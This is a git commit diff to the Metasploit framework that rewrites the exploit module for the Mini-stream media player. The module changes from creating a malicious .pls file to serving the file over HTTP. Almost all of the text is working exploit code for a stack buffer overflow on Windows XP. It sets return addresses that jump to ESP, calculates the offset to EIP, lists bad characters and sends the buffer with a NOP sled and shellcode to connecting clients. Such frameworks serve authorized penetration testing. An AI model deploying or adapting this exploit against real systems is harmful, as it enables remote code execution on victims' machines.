Upgrade mini_stream as a remote module. Account for all variables that affect the offset to EIP. Also digital1 = Ron.

git-svn-id: file:///home/svn/framework3/trunk@14155 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-11-04 08:20:43 +00:00
parent 057725450c
commit 3d6f631780
1 changed files with 36 additions and 17 deletions

View File

@ -14,7 +14,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'CORELAN Security Team ',
'Ron Henry <rlh[at] ciphermonk.net>', # Return address update
'dijital1',
'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
],
'Version' => '$Revision$',
'References' =>
@ -40,19 +39,30 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 3500,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
'StackAdjustment' => -3500,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 - English', { 'Ret' => 0x7e429353} ], # 0x7e429353 JMP ESP - USER32.dll
[ 'Windows XP SP2 - English', { 'Ret' => 0x7c941eed} ], # 0x7c941eed JMP ESP - SHELL32.dll
[
'Windows XP SP3 ENG',
{
'Ret' => 0x7e429353, # 0x7e429353 JMP ESP - USER32.dll
'Offset' => 17417
}
],
[
'Windows XP SP2 ENG',
{
'Ret' => 0x7c941eed, # 0x7c941eed JMP ESP - SHELL32.dll
'Offset' => 17417
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 25 2009',
@ -60,21 +70,30 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.pls']),
OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls'])
], self.class)
end
def exploit
sploit = rand_text_alphanumeric(17403)
sploit << [target.ret].pack('V')
sploit << "CAFE" * 8
sploit << payload.encoded
def on_request_uri(cli, request)
# Calculate the correct offset
host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
host << ":#{datastore['SRVPORT']}/"
offset = target['Offset'] - host.length
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
print_status("Copy '#{datastore['FILENAME']}' to a web server and pass the URL to the application")
# Construct our buffer
sploit = rand_text_alpha(offset)
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << @p
print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
end
def exploit
@p = payload.encoded
super
end
end